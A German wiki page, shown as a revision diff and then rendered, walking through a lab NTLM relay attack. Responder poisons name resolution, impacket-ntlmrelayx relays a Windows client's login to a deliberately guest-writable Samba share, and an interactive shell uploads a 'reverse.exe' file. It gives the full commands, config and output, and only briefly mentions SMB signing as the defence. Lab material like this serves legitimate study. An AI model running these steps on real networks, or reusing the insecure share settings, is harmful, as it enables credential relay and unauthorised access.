NTLM-Relay auf Samba-Freigabe mit Impacket: Unterschied zwischen den Versionen
Keine Bearbeitungszusammenfassung |
|||
| Zeile 1: | Zeile 1: | ||
= | = NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario) = | ||
== | == Ziel == | ||
Ein Windows | Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per '''ntlmrelayx''' an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass: | ||
* SMB-Zugriff auf die Samba-Freigabe möglich ist | |||
* Eine Datei in die Freigabe hochgeladen werden kann | |||
== | == Voraussetzungen == | ||
* Angreifer: Kali Linux mit impacket & responder | |||
* Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102) | |||
* Ziel: Linux mit Samba (z. B. 10.0.10.104) | |||
* Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share | |||
== | == 1. Samba-Ziel vorbereiten == | ||
* | *Samba konfigurieren:* | ||
<pre> | |||
[global] | |||
workgroup = WORKGROUP | |||
server role = standalone server | |||
passdb backend = tdbsam | |||
map to guest = Bad User | |||
guest account = nobody | |||
[share] | |||
comment = Relayziel | |||
path = /mnt/media/share | |||
read only = no | |||
guest ok = yes | |||
public = yes | |||
browseable = yes | |||
force user = nobody | |||
force group = nogroup | |||
</pre> | |||
* | *Verzeichnis vorbereiten:* | ||
mkdir -p /mnt/media/share | |||
chown nobody:nogroup /mnt/media/share | |||
chmod 777 /mnt/media/share | |||
*Dienst neustarten:* | |||
systemctl restart smbd | |||
== | == 2. Responder starten (Poisoning-Komponente) == | ||
responder -I eth0 | |||
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft) | |||
== 3. ntlmrelayx vorbereiten == | |||
* | *Mit interaktiver SMB-Shell starten:* | ||
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server | |||
== | → Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay | ||
* | |||
== 4. Angriff auslösen == | |||
*Auf dem Windows-Opfer:* | |||
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer): | |||
\\irgendwas | |||
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter | |||
== 5. Ergebnis: Interaktive Shell auf Samba-Freigabe == | |||
Nach erfolgreichem Relay erscheint: | |||
<pre> | |||
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED | |||
[+] Opening SMB relay connection | |||
[!] Interactive shell opened | |||
smb> | |||
</pre> | |||
*Dort kann man z. B. eine Datei hochladen:* | |||
upload /tmp/reverse.exe | |||
== 6. Erfolg prüfen == | |||
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis: | |||
ls -l /mnt/media/share | |||
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen | |||
== Zusammenfassung == | |||
| Komponente | Aufgabe | | |||
|------------|---------| | |||
| responder | Vergiftung von Namensauflösung | | |||
| ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | |||
| Samba | akzeptiert relayed Authentifizierung als Gast | | |||
| Ziel | Datei auf Samba-Freigabe schreiben | | |||
== Hinweise == | == Hinweise == | ||
* | * Wird der relayed Benutzer nicht akzeptiert, hilft: | ||
* SMB | ** map to guest = Always | ||
* | * Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist | ||
* Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!) | |||
== Quellen == | |||
* https://github.com/fortra/impacket | |||
* https://wiki.samba.org/index.php/Setting_up_a_Samba_Share | |||
Version vom 18. Mai 2025, 14:43 Uhr
NTLM-Relay auf Samba-Freigabe mit Impacket (Laborszenario)
Ziel
Ein Windows-Client im gleichen Netz wird über LLMNR/mDNS vergiftet. Seine NTLM-Authentifizierung wird durch den Angreifer per ntlmrelayx an einen Samba-Server weitergeleitet. Dort wird dem relayed Benutzer Gastzugriff gewährt, sodass:
- SMB-Zugriff auf die Samba-Freigabe möglich ist
- Eine Datei in die Freigabe hochgeladen werden kann
Voraussetzungen
- Angreifer: Kali Linux mit impacket & responder
- Opfer: Windows-Rechner im selben LAN (z. B. 10.0.10.102)
- Ziel: Linux mit Samba (z. B. 10.0.10.104)
- Der Samba-Server erlaubt Gastzugriff auf einen gemeinsamen Share
1. Samba-Ziel vorbereiten
- Samba konfigurieren:*
[global] workgroup = WORKGROUP server role = standalone server passdb backend = tdbsam map to guest = Bad User guest account = nobody [share] comment = Relayziel path = /mnt/media/share read only = no guest ok = yes public = yes browseable = yes force user = nobody force group = nogroup
- Verzeichnis vorbereiten:*
mkdir -p /mnt/media/share chown nobody:nogroup /mnt/media/share chmod 777 /mnt/media/share
- Dienst neustarten:*
systemctl restart smbd
2. Responder starten (Poisoning-Komponente)
responder -I eth0
→ Vergiftet LLMNR und mDNS-Anfragen im Netz (z. B. wenn User `\\irgendwas` aufruft)
3. ntlmrelayx vorbereiten
- Mit interaktiver SMB-Shell starten:*
impacket-ntlmrelayx -t smb://10.0.10.104 -smb2support -i --no-http-server --no-wcf-server --no-raw-server
→ Wartet auf NTLM-Anfragen und öffnet SMB-Zugriff zur Samba-Freigabe nach erfolgreichem Relay
4. Angriff auslösen
- Auf dem Windows-Opfer:*
Ausführen oder öffnen eines nicht existenten UNC-Pfades (z. B. via Explorer):
\\irgendwas
→ Windows versucht Namensauflösung → wird vergiftet → NTLM wird an den Angreifer geschickt → ntlmrelayx leitet weiter
5. Ergebnis: Interaktive Shell auf Samba-Freigabe
Nach erfolgreichem Relay erscheint:
[*] Authenticating against smb://10.0.10.104 as DESKTOP-XXX\USERNAME SUCCEED [+] Opening SMB relay connection [!] Interactive shell opened smb>
- Dort kann man z. B. eine Datei hochladen:*
upload /tmp/reverse.exe
6. Erfolg prüfen
Auf dem Samba-Ziel liegt nun eine Datei im Freigabe-Verzeichnis:
ls -l /mnt/media/share
→ Ziel erreicht: SMB-Zugriff über NTLM-Relay hergestellt, Datei erfolgreich übertragen
Zusammenfassung
| Komponente | Aufgabe | |------------|---------| | responder | Vergiftung von Namensauflösung | | ntlmrelayx | Relaying von NTLM auf SMB-Ziel | | Samba | akzeptiert relayed Authentifizierung als Gast | | Ziel | Datei auf Samba-Freigabe schreiben |
Hinweise
- Wird der relayed Benutzer nicht akzeptiert, hilft:
- map to guest = Always
- Ohne Schreibrechte bringt der Zugriff wenig – Ziel so konfigurieren, dass write möglich ist
- Nur für Labor geeignet – in Produktivnetzen schwer absicherbar (SMB Signing aktivieren!)